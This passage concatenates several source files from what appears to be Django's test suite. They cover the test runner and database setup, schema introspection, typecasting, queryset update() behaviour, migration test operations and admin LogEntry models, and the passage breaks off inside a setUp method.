class DummyBackendTest(unittest.TestCase):
    def test_setup_databases(self):
        """
        Test that setup_databases() doesn't fail with dummy database backend.
        """
        tested_connections = db.ConnectionHandler({})
        with mock.patch('django.test.utils.connections', new=tested_connections):
            runner_instance = DiscoverRunner(verbosity=0)
            old_config = runner_instance.setup_databases()
            runner_instance.teardown_databases(old_config)


class AliasedDefaultTestSetupTest(unittest.TestCase):
    def test_setup_aliased_default_database(self):
        """
        Test that setup_datebases() doesn't fail when 'default' is aliased
        """
        tested_connections = db.ConnectionHandler({
            'default': {
                'NAME': 'dummy'
            },
            'aliased': {
                'NAME': 'dummy'
            }
        })
        with mock.patch('django.test.utils.connections', new=tested_connections):
            runner_instance = DiscoverRunner(verbosity=0)
            old_config = runner_instance.setup_databases()
            runner_instance.teardown_databases(old_config)


class SetupDatabasesTests(unittest.TestCase):

    def setUp(self):
        self.runner_instance = DiscoverRunner(verbosity=0)

    def test_setup_aliased_databases(self):
        tested_connections = db.ConnectionHandler({
            'default': {
                'ENGINE': 'django.db.backends.dummy',
                'NAME': 'dbname',
            },
            'other': {
                'ENGINE': 'django.db.backends.dummy',
                'NAME': 'dbname',
            }
        })

        with mock.patch('django.db.backends.dummy.base.DatabaseCreation') as mocked_db_creation:
            with mock.patch('django.test.utils.connections', new=tested_connections):
                old_config = self.runner_instance.setup_databases()
                self.runner_instance.teardown_databases(old_config)
        mocked_db_creation.return_value.destroy_test_db.assert_called_once_with('dbname', 0, False)

    def test_destroy_test_db_restores_db_name(self):
        tested_connections = db.ConnectionHandler({
            'default': {
                'ENGINE': settings.DATABASES[db.DEFAULT_DB_ALIAS]["ENGINE"],
                'NAME': 'xxx_test_database',
            },
        })
        # Using the real current name as old_name to not mess with the test suite.
        old_name = settings.DATABASES[db.DEFAULT_DB_ALIAS]["NAME"]
        with mock.patch('django.db.connections', new=tested_connections):
            tested_connections['default'].creation.destroy_test_db(old_name, verbosity=0, keepdb=True)
            self.assertEqual(tested_connections['default'].settings_dict["NAME"], old_name)

    def test_serialization(self):
        tested_connections = db.ConnectionHandler({
            'default': {
                'ENGINE': 'django.db.backends.dummy',
            },
        })
        with mock.patch('django.db.backends.dummy.base.DatabaseCreation') as mocked_db_creation:
            with mock.patch('django.test.utils.connections', new=tested_connections):
                self.runner_instance.setup_databases()
        mocked_db_creation.return_value.create_test_db.assert_called_once_with(
            verbosity=0, autoclobber=False, serialize=True, keepdb=False
        )

    def test_serialized_off(self):
        tested_connections = db.ConnectionHandler({
            'default': {
                'ENGINE': 'django.db.backends.dummy',
                'TEST': {'SERIALIZE': False},
            },
        })
        with mock.patch('django.db.backends.dummy.base.DatabaseCreation') as mocked_db_creation:
            with mock.patch('django.test.utils.connections', new=tested_connections):
                self.runner_instance.setup_databases()
        mocked_db_creation.return_value.create_test_db.assert_called_once_with(
            verbosity=0, autoclobber=False, serialize=False, keepdb=False
        )


class AutoIncrementResetTest(TransactionTestCase):
    """
    Here we test creating the same model two times in different test methods,
    and check that both times they get "1" as their PK value. That is, we test
    that AutoField values start from 1 for each transactional test case.
    """

    available_apps = ['test_runner']

    reset_sequences = True

    @skipUnlessDBFeature('supports_sequence_reset')
    def test_autoincrement_reset1(self):
        p = Person.objects.create(first_name='Jack', last_name='Smith')
        self.assertEqual(p.pk, 1)

    @skipUnlessDBFeature('supports_sequence_reset')
    def test_autoincrement_reset2(self):
        p = Person.objects.create(first_name='Jack', last_name='Smith')
        self.assertEqual(p.pk, 1)


class EmptyDefaultDatabaseTest(unittest.TestCase):
    def test_empty_default_database(self):
        """
        Test that an empty default database in settings does not raise an ImproperlyConfigured
        error when running a unit test that does not use a database.
        """
        testcases.connections = db.ConnectionHandler({'default': {}})
        connection = testcases.connections[db.utils.DEFAULT_DB_ALIAS]
        self.assertEqual(connection.settings_dict['ENGINE'], 'django.db.backends.dummy')
        connections_support_transactions()






import sys
import unittest

from django.db import connection
from django.test import TestCase
from django.test.runner import DiscoverRunner
from django.utils import six
from django.utils.encoding import force_text

from .models import Person


@unittest.skipUnless(connection.vendor == 'sqlite', 'Only run on sqlite so we can check output SQL.')
class TestDebugSQL(unittest.TestCase):

    class PassingTest(TestCase):
        def runTest(self):
            Person.objects.filter(first_name='pass').count()

    class FailingTest(TestCase):
        def runTest(self):
            Person.objects.filter(first_name='fail').count()
            self.fail()

    class ErrorTest(TestCase):
        def runTest(self):
            Person.objects.filter(first_name='error').count()
            raise Exception

    def _test_output(self, verbosity):
        runner = DiscoverRunner(debug_sql=True, verbosity=0)
        suite = runner.test_suite()
        suite.addTest(self.FailingTest())
        suite.addTest(self.ErrorTest())
        suite.addTest(self.PassingTest())
        old_config = runner.setup_databases()
        stream = six.StringIO()
        resultclass = runner.get_resultclass()
        runner.test_runner(
            verbosity=verbosity,
            stream=stream,
            resultclass=resultclass,
        ).run(suite)
        runner.teardown_databases(old_config)

        if six.PY2:
            stream.buflist = [force_text(x) for x in stream.buflist]
        return stream.getvalue()

    def test_output_normal(self):
        full_output = self._test_output(1)
        for output in self.expected_outputs:
            self.assertIn(output, full_output)
        for output in self.verbose_expected_outputs:
            self.assertNotIn(output, full_output)

    def test_output_verbose(self):
        full_output = self._test_output(2)
        for output in self.expected_outputs:
            self.assertIn(output, full_output)
        for output in self.verbose_expected_outputs:
            self.assertIn(output, full_output)

    expected_outputs = [
        ('''SELECT COUNT(*) AS "__count" '''
            '''FROM "test_runner_person" WHERE '''
            '''"test_runner_person"."first_name" = 'error';'''),
        ('''SELECT COUNT(*) AS "__count" '''
            '''FROM "test_runner_person" WHERE '''
            '''"test_runner_person"."first_name" = 'fail';'''),
    ]

    verbose_expected_outputs = [
        # Output format changed in Python 3.5+
        x.format('' if sys.version_info < (3, 5) else 'TestDebugSQL.') for x in [
            'runTest (test_runner.test_debug_sql.{}FailingTest) ... FAIL',
            'runTest (test_runner.test_debug_sql.{}ErrorTest) ... ERROR',
            'runTest (test_runner.test_debug_sql.{}PassingTest) ... ok',
        ]
    ] + [
        ('''SELECT COUNT(*) AS "__count" '''
            '''FROM "test_runner_person" WHERE '''
            '''"test_runner_person"."first_name" = 'pass';'''),
    ]






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class City(models.Model):
    id = models.BigAutoField(primary_key=True)
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class District(models.Model):
    city = models.ForeignKey(City, models.CASCADE, primary_key=True)
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Reporter(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)
    email = models.EmailField()
    facebook_user_id = models.BigIntegerField(null=True)
    raw_data = models.BinaryField(null=True)
    small_int = models.SmallIntegerField()

    class Meta:
        unique_together = ('first_name', 'last_name')

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()
    body = models.TextField(default='')
    reporter = models.ForeignKey(Reporter, models.CASCADE)
    response_to = models.ForeignKey('self', models.SET_NULL, null=True)
    unmanaged_reporters = models.ManyToManyField(Reporter, through='ArticleReporter')

    def __str__(self):
        return self.headline

    class Meta:
        ordering = ('headline',)
        index_together = [
            ["headline", "pub_date"],
        ]


class ArticleReporter(models.Model):
    article = models.ForeignKey(Article, models.CASCADE)
    reporter = models.ForeignKey(Reporter, models.CASCADE)

    class Meta:
        managed = False












from __future__ import unicode_literals

from unittest import skipUnless

from django.db import connection
from django.db.utils import DatabaseError
from django.test import TransactionTestCase, mock, skipUnlessDBFeature

from .models import Article, ArticleReporter, City, District, Reporter


class IntrospectionTests(TransactionTestCase):

    available_apps = ['introspection']

    def test_table_names(self):
        tl = connection.introspection.table_names()
        self.assertEqual(tl, sorted(tl))
        self.assertIn(Reporter._meta.db_table, tl, "'%s' isn't in table_list()." % Reporter._meta.db_table)
        self.assertIn(Article._meta.db_table, tl, "'%s' isn't in table_list()." % Article._meta.db_table)

    def test_django_table_names(self):
        with connection.cursor() as cursor:
            cursor.execute('CREATE TABLE django_ixn_test_table (id INTEGER);')
            tl = connection.introspection.django_table_names()
            cursor.execute("DROP TABLE django_ixn_test_table;")
            self.assertNotIn('django_ixn_test_table', tl,
                             "django_table_names() returned a non-Django table")

    def test_django_table_names_retval_type(self):
        # Table name is a list #15216
        tl = connection.introspection.django_table_names(only_existing=True)
        self.assertIs(type(tl), list)
        tl = connection.introspection.django_table_names(only_existing=False)
        self.assertIs(type(tl), list)

    def test_table_names_with_views(self):
        with connection.cursor() as cursor:
            try:
                cursor.execute(
                    'CREATE VIEW introspection_article_view AS SELECT headline '
                    'from introspection_article;')
            except DatabaseError as e:
                if 'insufficient privileges' in str(e):
                    self.fail("The test user has no CREATE VIEW privileges")
                else:
                    raise

        self.assertIn('introspection_article_view', connection.introspection.table_names(include_views=True))
        self.assertNotIn('introspection_article_view', connection.introspection.table_names())

    def test_unmanaged_through_model(self):
        tables = connection.introspection.django_table_names()
        self.assertNotIn(ArticleReporter._meta.db_table, tables)

    def test_installed_models(self):
        tables = [Article._meta.db_table, Reporter._meta.db_table]
        models = connection.introspection.installed_models(tables)
        self.assertEqual(models, {Article, Reporter})

    def test_sequence_list(self):
        sequences = connection.introspection.sequence_list()
        expected = {'table': Reporter._meta.db_table, 'column': 'id'}
        self.assertIn(expected, sequences, 'Reporter sequence not found in sequence_list()')

    def test_get_table_description_names(self):
        with connection.cursor() as cursor:
            desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        self.assertEqual([r[0] for r in desc],
                         [f.column for f in Reporter._meta.fields])

    def test_get_table_description_types(self):
        with connection.cursor() as cursor:
            desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        self.assertEqual(
            [datatype(r[1], r) for r in desc],
            ['AutoField' if connection.features.can_introspect_autofield else 'IntegerField',
             'CharField', 'CharField', 'CharField',
             'BigIntegerField' if connection.features.can_introspect_big_integer_field else 'IntegerField',
             'BinaryField' if connection.features.can_introspect_binary_field else 'TextField',
             'SmallIntegerField' if connection.features.can_introspect_small_integer_field else 'IntegerField']
        )

    # The following test fails on Oracle due to #17202 (can't correctly
    # inspect the length of character columns).
    @skipUnlessDBFeature('can_introspect_max_length')
    def test_get_table_description_col_lengths(self):
        with connection.cursor() as cursor:
            desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        self.assertEqual(
            [r[3] for r in desc if datatype(r[1], r) == 'CharField'],
            [30, 30, 254]
        )

    @skipUnlessDBFeature('can_introspect_null')
    def test_get_table_description_nullable(self):
        with connection.cursor() as cursor:
            desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        nullable_by_backend = connection.features.interprets_empty_strings_as_nulls
        self.assertEqual(
            [r[6] for r in desc],
            [False, nullable_by_backend, nullable_by_backend, nullable_by_backend, True, True, False]
        )

    @skipUnlessDBFeature('can_introspect_autofield')
    def test_bigautofield(self):
        with connection.cursor() as cursor:
            desc = connection.introspection.get_table_description(cursor, City._meta.db_table)
        self.assertIn('BigAutoField', [datatype(r[1], r) for r in desc])

    # Regression test for #9991 - 'real' types in postgres
    @skipUnlessDBFeature('has_real_datatype')
    def test_postgresql_real_type(self):
        with connection.cursor() as cursor:
            cursor.execute("CREATE TABLE django_ixn_real_test_table (number REAL);")
            desc = connection.introspection.get_table_description(cursor, 'django_ixn_real_test_table')
            cursor.execute('DROP TABLE django_ixn_real_test_table;')
        self.assertEqual(datatype(desc[0][1], desc[0]), 'FloatField')

    @skipUnlessDBFeature('can_introspect_foreign_keys')
    def test_get_relations(self):
        with connection.cursor() as cursor:
            relations = connection.introspection.get_relations(cursor, Article._meta.db_table)

        # That's {field_name: (field_name_other_table, other_table)}
        expected_relations = {
            'reporter_id': ('id', Reporter._meta.db_table),
            'response_to_id': ('id', Article._meta.db_table),
        }
        self.assertEqual(relations, expected_relations)

        # Removing a field shouldn't disturb get_relations (#17785)
        body = Article._meta.get_field('body')
        with connection.schema_editor() as editor:
            editor.remove_field(Article, body)
        with connection.cursor() as cursor:
            relations = connection.introspection.get_relations(cursor, Article._meta.db_table)
        with connection.schema_editor() as editor:
            editor.add_field(Article, body)
        self.assertEqual(relations, expected_relations)

    @skipUnless(connection.vendor == 'sqlite', "This is an sqlite-specific issue")
    def test_get_relations_alt_format(self):
        """With SQLite, foreign keys can be added with different syntaxes."""
        with connection.cursor() as cursor:
            cursor.fetchone = mock.Mock(
                return_value=[
                    "CREATE TABLE track(id, art_id INTEGER, FOREIGN KEY(art_id) REFERENCES {}(id));".format(
                        Article._meta.db_table
                    )
                ]
            )
            relations = connection.introspection.get_relations(cursor, 'mocked_table')
        self.assertEqual(relations, {'art_id': ('id', Article._meta.db_table)})

    @skipUnlessDBFeature('can_introspect_foreign_keys')
    def test_get_key_columns(self):
        with connection.cursor() as cursor:
            key_columns = connection.introspection.get_key_columns(cursor, Article._meta.db_table)
        self.assertEqual(
            set(key_columns),
            {('reporter_id', Reporter._meta.db_table, 'id'),
             ('response_to_id', Article._meta.db_table, 'id')})

    def test_get_primary_key_column(self):
        with connection.cursor() as cursor:
            primary_key_column = connection.introspection.get_primary_key_column(cursor, Article._meta.db_table)
            pk_fk_column = connection.introspection.get_primary_key_column(cursor, District._meta.db_table)
        self.assertEqual(primary_key_column, 'id')
        self.assertEqual(pk_fk_column, 'city_id')

    def test_get_indexes(self):
        with connection.cursor() as cursor:
            indexes = connection.introspection.get_indexes(cursor, Article._meta.db_table)
        if connection.features.can_introspect_index_type:
            index_type = indexes['reporter_id'].pop('type', None)
            self.assertIsNotNone(index_type)
            if connection.vendor == 'postgresql':
                self.assertEqual(index_type, 'btree')
        self.assertEqual(indexes['reporter_id'], {'unique': False, 'primary_key': False})

    def test_get_indexes_multicol(self):
        """
        Test that multicolumn indexes are not included in the introspection
        results.
        """
        with connection.cursor() as cursor:
            indexes = connection.introspection.get_indexes(cursor, Reporter._meta.db_table)
        self.assertNotIn('first_name', indexes)
        self.assertIn('id', indexes)

    @skipUnlessDBFeature('supports_index_column_ordering')
    def test_get_constraints_indexes_orders(self):
        """
        Indexes have the 'orders' key with a list of 'ASC'/'DESC' values.
        """
        with connection.cursor() as cursor:
            constraints = connection.introspection.get_constraints(cursor, Article._meta.db_table)
        indexes_verified = 0
        expected_columns = [
            ['reporter_id'],
            ['headline', 'pub_date'],
            ['response_to_id'],
        ]
        for key, val in constraints.items():
            if val['index'] and not (val['primary_key'] or val['unique']):
                self.assertIn(val['columns'], expected_columns)
                self.assertEqual(val['orders'], ['ASC'] * len(val['columns']))
                indexes_verified += 1
        self.assertEqual(indexes_verified, 3)


def datatype(dbtype, description):
    """Helper to convert a data type into a string."""
    dt = connection.introspection.get_field_type(dbtype, description)
    if type(dt) is tuple:
        return dt[0]
    else:
        return dt












# Unit tests for typecast functions in django.db.backends.util

import datetime
import unittest

from django.db.backends import utils as typecasts
from django.utils import six

TEST_CASES = {
    'typecast_date': (
        ('', None),
        (None, None),
        ('2005-08-11', datetime.date(2005, 8, 11)),
        ('1990-01-01', datetime.date(1990, 1, 1)),
    ),
    'typecast_time': (
        ('', None),
        (None, None),
        ('0:00:00', datetime.time(0, 0)),
        ('0:30:00', datetime.time(0, 30)),
        ('8:50:00', datetime.time(8, 50)),
        ('08:50:00', datetime.time(8, 50)),
        ('12:00:00', datetime.time(12, 00)),
        ('12:30:00', datetime.time(12, 30)),
        ('13:00:00', datetime.time(13, 00)),
        ('23:59:00', datetime.time(23, 59)),
        ('00:00:12', datetime.time(0, 0, 12)),
        ('00:00:12.5', datetime.time(0, 0, 12, 500000)),
        ('7:22:13.312', datetime.time(7, 22, 13, 312000)),
        ('12:45:30.126631', datetime.time(12, 45, 30, 126631)),
        ('12:45:30.126630', datetime.time(12, 45, 30, 126630)),
        ('12:45:30.123456789', datetime.time(12, 45, 30, 123456)),
    ),
    'typecast_timestamp': (
        ('', None),
        (None, None),
        ('2005-08-11 0:00:00', datetime.datetime(2005, 8, 11)),
        ('2005-08-11 0:30:00', datetime.datetime(2005, 8, 11, 0, 30)),
        ('2005-08-11 8:50:30', datetime.datetime(2005, 8, 11, 8, 50, 30)),
        ('2005-08-11 8:50:30.123', datetime.datetime(2005, 8, 11, 8, 50, 30, 123000)),
        ('2005-08-11 8:50:30.9', datetime.datetime(2005, 8, 11, 8, 50, 30, 900000)),
        ('2005-08-11 8:50:30.312-05', datetime.datetime(2005, 8, 11, 8, 50, 30, 312000)),
        ('2005-08-11 8:50:30.312+02', datetime.datetime(2005, 8, 11, 8, 50, 30, 312000)),
        # ticket 14453
        ('2010-10-12 15:29:22.063202', datetime.datetime(2010, 10, 12, 15, 29, 22, 63202)),
        ('2010-10-12 15:29:22.063202-03', datetime.datetime(2010, 10, 12, 15, 29, 22, 63202)),
        ('2010-10-12 15:29:22.063202+04', datetime.datetime(2010, 10, 12, 15, 29, 22, 63202)),
        ('2010-10-12 15:29:22.0632021', datetime.datetime(2010, 10, 12, 15, 29, 22, 63202)),
        ('2010-10-12 15:29:22.0632029', datetime.datetime(2010, 10, 12, 15, 29, 22, 63202)),
    ),
}


class DBTypeCasts(unittest.TestCase):
    def test_typeCasts(self):
        for k, v in six.iteritems(TEST_CASES):
            for inpt, expected in v:
                got = getattr(typecasts, k)(inpt)
                self.assertEqual(
                    got,
                    expected,
                    "In %s: %r doesn't match %r. Got %r instead." % (k, inpt, expected, got)
                )






from django.http import HttpResponse


def empty_view(request, *args, **kwargs):
    return HttpResponse('')






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^empty/$', views.empty_view),
]












import os
import shutil
import unittest

from django import conf
from django.test import TestCase
from django.utils import six
from django.utils._os import upath


@unittest.skipIf(
    six.PY2,
    'Python 2 cannot import the project template because '
    'django/conf/project_template doesn\'t have an __init__.py file.'
)
class TestStartProjectSettings(TestCase):
    def setUp(self):
        # Ensure settings.py exists
        project_dir = os.path.join(
            os.path.dirname(upath(conf.__file__)),
            'project_template',
            'project_name',
        )
        template_settings_py = os.path.join(project_dir, 'settings.py-tpl')
        test_settings_py = os.path.join(project_dir, 'settings.py')
        shutil.copyfile(template_settings_py, test_settings_py)
        self.addCleanup(os.remove, test_settings_py)

    def test_middleware_headers(self):
        """
        Ensure headers sent by the default MIDDLEWARE don't inadvertently
        change. For example, we never want "Vary: Cookie" to appear in the list
        since it prevents the caching of responses.
        """
        from django.conf.project_template.project_name.settings import MIDDLEWARE

        with self.settings(
            MIDDLEWARE=MIDDLEWARE,
            ROOT_URLCONF='project_template.urls',
        ):
            response = self.client.get('/empty/')
            headers = sorted(response.serialize_headers().split(b'\r\n'))
            self.assertEqual(headers, [
                b'Content-Length: 0',
                b'Content-Type: text/html; charset=utf-8',
                b'X-Frame-Options: SAMEORIGIN',
            ])






from django.db.migrations.operations.base import Operation


class TestOperation(Operation):
    def __init__(self):
        pass

    def deconstruct(self):
        return (
            self.__class__.__name__,
            [],
            {}
        )

    @property
    def reversible(self):
        return True

    def state_forwards(self, app_label, state):
        pass

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def state_backwards(self, app_label, state):
        pass

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        pass






from django.db.migrations.operations.base import Operation


class TestOperation(Operation):
    def __init__(self):
        pass

    def deconstruct(self):
        return (
            self.__class__.__name__,
            [],
            {}
        )

    @property
    def reversible(self):
        return True

    def state_forwards(self, app_label, state):
        pass

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        pass

    def state_backwards(self, app_label, state):
        pass

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        pass


class CreateModel(TestOperation):
    pass


class ArgsOperation(TestOperation):
    def __init__(self, arg1, arg2):
        self.arg1, self.arg2 = arg1, arg2

    def deconstruct(self):
        return (
            self.__class__.__name__,
            [self.arg1, self.arg2],
            {}
        )


class KwargsOperation(TestOperation):
    def __init__(self, kwarg1=None, kwarg2=None):
        self.kwarg1, self.kwarg2 = kwarg1, kwarg2

    def deconstruct(self):
        kwargs = {}
        if self.kwarg1 is not None:
            kwargs['kwarg1'] = self.kwarg1
        if self.kwarg2 is not None:
            kwargs['kwarg2'] = self.kwarg2
        return (
            self.__class__.__name__,
            [],
            kwargs
        )


class ArgsKwargsOperation(TestOperation):
    def __init__(self, arg1, arg2, kwarg1=None, kwarg2=None):
        self.arg1, self.arg2 = arg1, arg2
        self.kwarg1, self.kwarg2 = kwarg1, kwarg2

    def deconstruct(self):
        kwargs = {}
        if self.kwarg1 is not None:
            kwargs['kwarg1'] = self.kwarg1
        if self.kwarg2 is not None:
            kwargs['kwarg2'] = self.kwarg2
        return (
            self.__class__.__name__,
            [self.arg1, self.arg2],
            kwargs,
        )


class ExpandArgsOperation(TestOperation):
    serialization_expand_args = ['arg']

    def __init__(self, arg):
        self.arg = arg

    def deconstruct(self):
        return (
            self.__class__.__name__,
            [self.arg],
            {}
        )












"""
Tests for the update() queryset method that allows in-place, multi-object
updates.
"""

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class DataPoint(models.Model):
    name = models.CharField(max_length=20)
    value = models.CharField(max_length=20)
    another_value = models.CharField(max_length=20, blank=True)

    def __str__(self):
        return six.text_type(self.name)


@python_2_unicode_compatible
class RelatedPoint(models.Model):
    name = models.CharField(max_length=20)
    data = models.ForeignKey(DataPoint, models.CASCADE)

    def __str__(self):
        return six.text_type(self.name)


class A(models.Model):
    x = models.IntegerField(default=10)


class B(models.Model):
    a = models.ForeignKey(A, models.CASCADE)
    y = models.IntegerField(default=10)


class C(models.Model):
    y = models.IntegerField(default=10)


class D(C):
    a = models.ForeignKey(A, models.CASCADE)


class Foo(models.Model):
    target = models.CharField(max_length=10, unique=True)


class Bar(models.Model):
    foo = models.ForeignKey(Foo, models.CASCADE, to_field='target')












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.db.models import Count, F, Max
from django.test import TestCase

from .models import A, B, Bar, D, DataPoint, Foo, RelatedPoint


class SimpleTest(TestCase):
    def setUp(self):
        self.a1 = A.objects.create()
        self.a2 = A.objects.create()
        for x in range(20):
            B.objects.create(a=self.a1)
            D.objects.create(a=self.a1)

    def test_nonempty_update(self):
        """
        Test that update changes the right number of rows for a nonempty queryset
        """
        num_updated = self.a1.b_set.update(y=100)
        self.assertEqual(num_updated, 20)
        cnt = B.objects.filter(y=100).count()
        self.assertEqual(cnt, 20)

    def test_empty_update(self):
        """
        Test that update changes the right number of rows for an empty queryset
        """
        num_updated = self.a2.b_set.update(y=100)
        self.assertEqual(num_updated, 0)
        cnt = B.objects.filter(y=100).count()
        self.assertEqual(cnt, 0)

    def test_nonempty_update_with_inheritance(self):
        """
        Test that update changes the right number of rows for an empty queryset
        when the update affects only a base table
        """
        num_updated = self.a1.d_set.update(y=100)
        self.assertEqual(num_updated, 20)
        cnt = D.objects.filter(y=100).count()
        self.assertEqual(cnt, 20)

    def test_empty_update_with_inheritance(self):
        """
        Test that update changes the right number of rows for an empty queryset
        when the update affects only a base table
        """
        num_updated = self.a2.d_set.update(y=100)
        self.assertEqual(num_updated, 0)
        cnt = D.objects.filter(y=100).count()
        self.assertEqual(cnt, 0)

    def test_foreign_key_update_with_id(self):
        """
        Test that update works using <field>_id for foreign keys
        """
        num_updated = self.a1.d_set.update(a_id=self.a2)
        self.assertEqual(num_updated, 20)
        self.assertEqual(self.a2.d_set.count(), 20)


class AdvancedTests(TestCase):

    def setUp(self):
        self.d0 = DataPoint.objects.create(name="d0", value="apple")
        self.d2 = DataPoint.objects.create(name="d2", value="banana")
        self.d3 = DataPoint.objects.create(name="d3", value="banana")
        self.r1 = RelatedPoint.objects.create(name="r1", data=self.d3)

    def test_update(self):
        """
        Objects are updated by first filtering the candidates into a queryset
        and then calling the update() method. It executes immediately and
        returns nothing.
        """
        resp = DataPoint.objects.filter(value="apple").update(name="d1")
        self.assertEqual(resp, 1)
        resp = DataPoint.objects.filter(value="apple")
        self.assertEqual(list(resp), [self.d0])

    def test_update_multiple_objects(self):
        """
        We can update multiple objects at once.
        """
        resp = DataPoint.objects.filter(value="banana").update(
            value="pineapple")
        self.assertEqual(resp, 2)
        self.assertEqual(DataPoint.objects.get(name="d2").value, 'pineapple')

    def test_update_fk(self):
        """
        Foreign key fields can also be updated, although you can only update
        the object referred to, not anything inside the related object.
        """
        resp = RelatedPoint.objects.filter(name="r1").update(data=self.d0)
        self.assertEqual(resp, 1)
        resp = RelatedPoint.objects.filter(data__name="d0")
        self.assertEqual(list(resp), [self.r1])

    def test_update_multiple_fields(self):
        """
        Multiple fields can be updated at once
        """
        resp = DataPoint.objects.filter(value="apple").update(
            value="fruit", another_value="peach")
        self.assertEqual(resp, 1)
        d = DataPoint.objects.get(name="d0")
        self.assertEqual(d.value, 'fruit')
        self.assertEqual(d.another_value, 'peach')

    def test_update_all(self):
        """
        In the rare case you want to update every instance of a model, update()
        is also a manager method.
        """
        self.assertEqual(DataPoint.objects.update(value='thing'), 3)
        resp = DataPoint.objects.values('value').distinct()
        self.assertEqual(list(resp), [{'value': 'thing'}])

    def test_update_slice_fail(self):
        """
        We do not support update on already sliced query sets.
        """
        method = DataPoint.objects.all()[:2].update
        with self.assertRaises(AssertionError):
            method(another_value='another thing')

    def test_update_respects_to_field(self):
        """
        Update of an FK field which specifies a to_field works.
        """
        a_foo = Foo.objects.create(target='aaa')
        b_foo = Foo.objects.create(target='bbb')
        bar = Bar.objects.create(foo=a_foo)
        self.assertEqual(bar.foo_id, a_foo.target)
        bar_qs = Bar.objects.filter(pk=bar.pk)
        self.assertEqual(bar_qs[0].foo_id, a_foo.target)
        bar_qs.update(foo=b_foo)
        self.assertEqual(bar_qs[0].foo_id, b_foo.target)

    def test_update_annotated_queryset(self):
        """
        Update of a queryset that's been annotated.
        """
        # Trivial annotated update
        qs = DataPoint.objects.annotate(alias=F('value'))
        self.assertEqual(qs.update(another_value='foo'), 3)
        # Update where annotation is used for filtering
        qs = DataPoint.objects.annotate(alias=F('value')).filter(alias='apple')
        self.assertEqual(qs.update(another_value='foo'), 1)
        # Update where annotation is used in update parameters
        qs = DataPoint.objects.annotate(alias=F('value'))
        self.assertEqual(qs.update(another_value=F('alias')), 3)
        # Update where aggregation annotation is used in update parameters
        qs = DataPoint.objects.annotate(max=Max('value'))
        with self.assertRaisesMessage(FieldError, 'Aggregate functions are not allowed in this query'):
            qs.update(another_value=F('max'))

    def test_update_annotated_multi_table_queryset(self):
        """
        Update of a queryset that's been annotated and involves multiple tables.
        """
        # Trivial annotated update
        qs = DataPoint.objects.annotate(related_count=Count('relatedpoint'))
        self.assertEqual(qs.update(value='Foo'), 3)
        # Update where annotation is used for filtering
        qs = DataPoint.objects.annotate(related_count=Count('relatedpoint'))
        self.assertEqual(qs.filter(related_count=1).update(value='Foo'), 1)
        # Update where annotation is used in update parameters
        # #26539 - This isn't forbidden but also doesn't generate proper SQL
        # qs = RelatedPoint.objects.annotate(data_name=F('data__name'))
        # updated = qs.update(name=F('data_name'))
        # self.assertEqual(updated, 1)
        # Update where aggregation annotation is used in update parameters
        qs = RelatedPoint.objects.annotate(max=Max('data__value'))
        with self.assertRaisesMessage(FieldError, 'Aggregate functions are not allowed in this query'):
            qs.update(name=F('max'))






from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


@python_2_unicode_compatible
class Site(models.Model):
    domain = models.CharField(max_length=100)

    def __str__(self):
        return self.domain


class Article(models.Model):
    """
    A simple Article model for testing
    """
    site = models.ForeignKey(Site, models.CASCADE, related_name="admin_articles")
    title = models.CharField(max_length=100)
    hist = models.CharField(max_length=100, verbose_name=_("History"))
    created = models.DateTimeField(null=True)

    def test_from_model(self):
        return "nothing"

    def test_from_model_with_override(self):
        return "nothing"
    test_from_model_with_override.short_description = "not What you Expect"


class ArticleProxy(Article):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Count(models.Model):
    num = models.PositiveSmallIntegerField()
    parent = models.ForeignKey('self', models.CASCADE, null=True)

    def __str__(self):
        return six.text_type(self.num)


class Event(models.Model):
    date = models.DateTimeField(auto_now_add=True)


class Location(models.Model):
    event = models.OneToOneField(Event, models.CASCADE, verbose_name='awesome event')


class Guest(models.Model):
    event = models.OneToOneField(Event, models.CASCADE)
    name = models.CharField(max_length=255)

    class Meta:
        verbose_name = "awesome guest"


class EventGuide(models.Model):
    event = models.ForeignKey(Event, models.DO_NOTHING)


class Vehicle(models.Model):
    pass


class VehicleMixin(Vehicle):
    vehicle = models.OneToOneField(
        Vehicle,
        models.CASCADE,
        parent_link=True,
        related_name='vehicle_%(app_label)s_%(class)s',
    )

    class Meta:
        abstract = True


class Car(VehicleMixin):
    pass






from django.contrib import admin

from .models import Article, ArticleProxy, Site


class ArticleInline(admin.TabularInline):
    model = Article
    fields = ['title']


class SiteAdmin(admin.ModelAdmin):
    inlines = [ArticleInline]


site = admin.AdminSite(name='admin')
site.register(Article)
site.register(ArticleProxy)
site.register(Site, SiteAdmin)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json
from datetime import datetime

from django.contrib.admin.models import ADDITION, CHANGE, DELETION, LogEntry
from django.contrib.admin.utils import quote
from django.contrib.auth.models import User
from django.contrib.contenttypes.models import ContentType
from django.test import TestCase, override_settings
from django.urls import reverse
from django.utils import six, translation
from django.utils.encoding import force_bytes
from django.utils.html import escape

from .models import Article, ArticleProxy, Site


@override_settings(ROOT_URLCONF='admin_utils.urls')
class LogEntryTests(TestCase):
    def setUp(self):
        self.user = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        self.site = Site.objects.create(domain='example.org')
        self.a1 = Article.objects.create(
            site=self.site,
            title="Title",
